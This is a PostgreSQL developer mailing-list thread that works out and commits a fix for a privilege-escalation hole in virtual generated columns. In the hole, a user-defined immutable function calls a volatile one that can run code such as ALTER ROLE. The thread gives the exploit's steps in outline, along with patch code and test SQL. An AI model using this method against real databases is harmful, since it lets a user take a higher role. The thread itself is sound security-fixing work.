Christoph

Christoph Berg <myon@debian.org> writes:

So the question is, are all built-in *immutable* functions safe?

Perhaps.

Extending the idea, perhaps the check could be moved to run-time and
recursively check that only immutable functions are called, including
user-defined immutable functions?

I don't think I'd trust that. UDFs can claim to be immutable but
be lying about it.

regards, tom lane

Re: Tom Lane

Extending the idea, perhaps the check could be moved to run-time and
recursively check that only immutable functions are called, including
user-defined immutable functions?

I don't think I'd trust that. UDFs can claim to be immutable but
be lying about it.

That's why I said "recursively". Then truly immutable user-defined
functions could still be used.

But practically, people will probably want to select from other tables
anyway (I've already had to tell a customer that virtual columns do
not allow that), so the use-case for user immutable functions is
probably very thin.

Christoph

On Thu, Jun 5, 2025 at 11:19 AM jian he <jian.universality@gmail.com> wrote:

I think it will work.
because we already require the generated column expression to be
immutable functions.

The above functions you mentioned are all not immutable.

Hmm. I guess I have no evidence that we have built-in immutable
functions that would cause a problem here. I still think it's a bad
direction to go.

--
Robert Haas
EDB: http://www.enterprisedb.com

On Thu, Jun 5, 2025 at 7:24 PM Feike Steenbergen
<feikesteenbergen@gmail.com> wrote:

On Thu, 5 Jun 2025 at 12:49, Peter Eisentraut <peter@eisentraut.org> wrote:

I propose to address this by not allowing the use of user-defined
functions in generation expressions for now. The attached patch
implements this. This assumes that all built-in functions are
trustworthy, for this purpose, which seems likely true and likely desirable.

I think the feature is still useful like that, and this approach
provides a path to add new functionality in the future that grows this
set of allowed functions, for example by allowing some configurable set
of "trusted" functions or whatever.

+1

I really like this feature and it would be great if it gets into
pg18, even with some restrictions,

+1. I think even though the use of only builtins limits the usage of
this feature, it can still be useful for cases like String
manipulations (e.g., UPPER(name)), Date/time calculations (e.g.,
age(birthdate)), Mathematical transformations (e.g., price *
tax_rate), Computed timestamps (with use of date), JSON field
extraction, etc.

Allowing UDFs with some safety definition can be done in future releases.

--
With Regards,
Amit Kapila.

On 05.06.25 12:49, Peter Eisentraut wrote:

On 23.05.25 10:43, Feike Steenbergen wrote:

Attached is a sample exploit, that achieves this, key components:

- the GENERATED column uses a user defined immutable function
- this immutable function cannot ALTER ROLE (needs volatile)
- therefore this immutable function calls a volatile function
- the volatile function can contain any security exploit

I propose to address this by not allowing the use of user-defined
functions in generation expressions for now.  The attached patch
implements this.  This assumes that all built-in functions are
trustworthy, for this purpose, which seems likely true and likely
desirable.

I think the feature is still useful like that, and this approach
provides a path to add new functionality in the future that grows this
set of allowed functions, for example by allowing some configurable set
of "trusted" functions or whatever.

Here is a new patch.

My previous patch was a bit too simple. I had thought that
check_functions_in_node() does the node walking itself, but that was
wrong, so the patch only worked at the top-level of the expression. So
I had to build some node-walking scaffolding around it to make it work.
Also, check_functions_in_node() has some comments about what node type
it doesn't check, so I had to add some code to handle those. This also
requires that in addition to requiring built-in functions, we require
built-in types. This shouldn't move the needle, since non-builtin types
can't do much without non-builtin functions. Finally, it seems that
most code actually uses FirstUnpinnedObjectId, not FirstNormalObjectId,
to check for "built-in" status, so I changed to that, to be on the safe
side.

On Thu, Jun 19, 2025 at 5:11 AM Peter Eisentraut <peter@eisentraut.org> wrote:

Here is a new patch.

My previous patch was a bit too simple. I had thought that
check_functions_in_node() does the node walking itself, but that was
wrong, so the patch only worked at the top-level of the expression. So
I had to build some node-walking scaffolding around it to make it work.
Also, check_functions_in_node() has some comments about what node type
it doesn't check, so I had to add some code to handle those. This also
requires that in addition to requiring built-in functions, we require
built-in types. This shouldn't move the needle, since non-builtin types
can't do much without non-builtin functions. Finally, it seems that
most code actually uses FirstUnpinnedObjectId, not FirstNormalObjectId,
to check for "built-in" status, so I changed to that, to be on the safe
side.

+ /*
+ * check_functions_in_node() doesn't check some node types (see
+ * comment there).  We handle CoerceToDomain and MinMaxExpr by
+ * checking for built-in types.  The other listed node types cannot
+ * call user-definable SQL-visible functions.
+ *
+ * We furthermore need this type check to handle built-in, immutable
+ * polymorphic functions such as array_eq().
+ */
+ if (exprType(node) >= FirstUnpinnedObjectId)
+ ereport(ERROR,
+ errcode(ERRCODE_FEATURE_NOT_SUPPORTED),
+ errmsg("generation expression uses user-defined type"),
+ errdetail("Virtual generated columns that make use of user-defined
types are not yet supported."),
+ parser_errposition(pstate, exprLocation(node)));
this part  doesn't have tests. we can have some tests based on in
src/test/regress/sql/create_type.sql
then I found an strange case:
( the following excerpted from create_type.sql)

BEGIN;
CREATE TYPE int42;
-- Make dummy I/O routines using the existing internal support for int4, text
CREATE FUNCTION int42_in(cstring)
RETURNS int42
AS 'int4in'
LANGUAGE internal STRICT IMMUTABLE;
CREATE FUNCTION int42_out(int42)
RETURNS cstring
AS 'int4out'
LANGUAGE internal STRICT IMMUTABLE;
CREATE TYPE int42 (
internallength = 4,
input = int42_in,
output = int42_out,
alignment = int4,
default = 42,
passedbyvalue
);
COMMIT;

CREATE TABLE gtest1 (a int42 GENERATED ALWAYS AS ('1') VIRTUAL);
CREATE TABLE gtest2 (a int42 GENERATED ALWAYS AS ('1'::int42) VIRTUAL);
ERROR: generation expression uses user-defined type
LINE 1: CREATE TABLE gtest2 (a int42 GENERATED ALWAYS AS ('1'::int42...
^
DETAIL: Virtual generated columns that make use of user-defined types
are not yet supported.

Do we need error out for the first case?

+ if (!IsA(node, List))
Is this "IF" branch necessary?

On Sat, Jun 21, 2025 at 1:29 PM jian he <jian.universality@gmail.com> wrote:

( the following excerpted from create_type.sql)

BEGIN;
CREATE TYPE int42;
-- Make dummy I/O routines using the existing internal support for int4, text
CREATE FUNCTION int42_in(cstring)
RETURNS int42
AS 'int4in'
LANGUAGE internal STRICT IMMUTABLE;
CREATE FUNCTION int42_out(int42)
RETURNS cstring
AS 'int4out'
LANGUAGE internal STRICT IMMUTABLE;
CREATE TYPE int42 (
internallength = 4,
input = int42_in,
output = int42_out,
alignment = int4,
default = 42,
passedbyvalue
);
COMMIT;

CREATE TABLE gtest1 (a int42 GENERATED ALWAYS AS ('1') VIRTUAL);
CREATE TABLE gtest2 (a int42 GENERATED ALWAYS AS ('1'::int42) VIRTUAL);
ERROR: generation expression uses user-defined type
LINE 1: CREATE TABLE gtest2 (a int42 GENERATED ALWAYS AS ('1'::int42...
^
DETAIL: Virtual generated columns that make use of user-defined types
are not yet supported.

Do we need error out for the first case?

I think these two cases both should error out.

If generated column expressions do not allow user-defined types or functions, it
makes sense to also disallow virtual generated columns from using user-defined
types.
Attached patch change CheckAttributeType to do the job.
related tests also added.

Note: Support for composite types in virtual generated columns is
currently partial.
for example:

CREATE TYPE double_int as (a int, b int);
--ok
CREATE TABLE gtest4 (
a int,
b double_int GENERATED ALWAYS AS ((a * 2, a * 3)) VIRTUAL
);
--not ok.
CREATE TABLE gtest4 (
a int,
b double_int GENERATED ALWAYS AS ((a * 2, a * 3)::double_int) VIRTUAL
);

On 21.06.25 16:45, jian he wrote:

CREATE TABLE gtest1 (a int42 GENERATED ALWAYS AS ('1') VIRTUAL);
CREATE TABLE gtest2 (a int42 GENERATED ALWAYS AS ('1'::int42) VIRTUAL);
ERROR: generation expression uses user-defined type
LINE 1: CREATE TABLE gtest2 (a int42 GENERATED ALWAYS AS ('1'::int42...
^
DETAIL: Virtual generated columns that make use of user-defined types
are not yet supported.

Do we need error out for the first case?

I think these two cases both should error out.

If generated column expressions do not allow user-defined types or functions, it
makes sense to also disallow virtual generated columns from using user-defined
types.
Attached patch change CheckAttributeType to do the job.
related tests also added.

Note: Support for composite types in virtual generated columns is
currently partial.
for example:

CREATE TYPE double_int as (a int, b int);
--ok
CREATE TABLE gtest4 (
a int,
b double_int GENERATED ALWAYS AS ((a * 2, a * 3)) VIRTUAL
);
--not ok.
CREATE TABLE gtest4 (
a int,
b double_int GENERATED ALWAYS AS ((a * 2, a * 3)::double_int) VIRTUAL
);

Your CheckAttributeType() change is conditional on TYPTYPE_BASE, but if
you remove that and check it for all types, then you get the right error
in both cases.

I have attached a patch that is similar to yours but with that change.
I've also written the test cases a bit differently, but it also covers
everything now.

(The two patches should be squashed. I'm just keeping them separate to
show what is changed.)

On Mon, Jun 23, 2025 at 9:13 PM Peter Eisentraut <peter@eisentraut.org> wrote:

Note: Support for composite types in virtual generated columns is
currently partial.
for example:

CREATE TYPE double_int as (a int, b int);
--ok
CREATE TABLE gtest4 (
a int,
b double_int GENERATED ALWAYS AS ((a * 2, a * 3)) VIRTUAL
);
--not ok.
CREATE TABLE gtest4 (
a int,
b double_int GENERATED ALWAYS AS ((a * 2, a * 3)::double_int) VIRTUAL
);

Your CheckAttributeType() change is conditional on TYPTYPE_BASE, but if
you remove that and check it for all types, then you get the right error
in both cases.

At that time, I was thinking that
CREATE TABLE gtest4 (a int, b double_int GENERATED ALWAYS AS ((a * 2,
a * 3)) VIRTUAL );
should be ok.
because in CheckAttributeType, we already recursively checked each
TYPTYPE_BASE type.
If each type within the composite type is built-in types, overall
should be just fine.

but then
CREATE TABLE gtest4 (a int, b double_int GENERATED ALWAYS AS ((a * 2,
a * 3)::double_int) VIRTUAL );
error out would make it look like inconsistency.
So overall I guess we have to disallow TYPTYPE_COMPOSITE too.

I have attached a patch that is similar to yours but with that change.
I've also written the test cases a bit differently, but it also covers
everything now.

(The two patches should be squashed. I'm just keeping them separate to
show what is changed.)

seems we didn't check the ALTER TABLE case.

CREATE TYPE double_int as (a int, b int);
CREATE TABLE y (a int);
alter table y add column b double_int GENERATED ALWAYS AS ((a * 2, a *
3)) VIRTUAL;

in ATExecAddColumn, we can change it to:
CheckAttributeType(NameStr(attribute->attname),
attribute->atttypid, attribute->attcollation,
list_make1_oid(rel->rd_rel->reltype),
(attribute->attgenerated ==
ATTRIBUTE_GENERATED_VIRTUAL ? CHKATYPE_IS_VIRTUAL : 0));

user-defined function ALTER TABLE ADD COLUMN works as expected.
maybe add two error case tests for ALTER TABLE ADD COLUMN, one for
type, one for function.

Other than that, it looks good to me.

On 23.06.25 18:11, jian he wrote:

seems we didn't check the ALTER TABLE case.

CREATE TYPE double_int as (a int, b int);
CREATE TABLE y (a int);
alter table y add column b double_int GENERATED ALWAYS AS ((a * 2, a *
3)) VIRTUAL;

in ATExecAddColumn, we can change it to:
CheckAttributeType(NameStr(attribute->attname),
attribute->atttypid, attribute->attcollation,
list_make1_oid(rel->rd_rel->reltype),
(attribute->attgenerated ==
ATTRIBUTE_GENERATED_VIRTUAL ? CHKATYPE_IS_VIRTUAL : 0));

Yes, this is an existing fault separate from this patch. I have pushed
a fix for this along these lines.

On 23.06.25 15:13, Peter Eisentraut wrote:

Your CheckAttributeType() change is conditional on TYPTYPE_BASE, but if
you remove that and check it for all types, then you get the right error
in both cases.

I have attached a patch that is similar to yours but with that change.
I've also written the test cases a bit differently, but it also covers
everything now.

(The two patches should be squashed.  I'm just keeping them separate to
show what is changed.)

This has been committed thus. This should close this topic.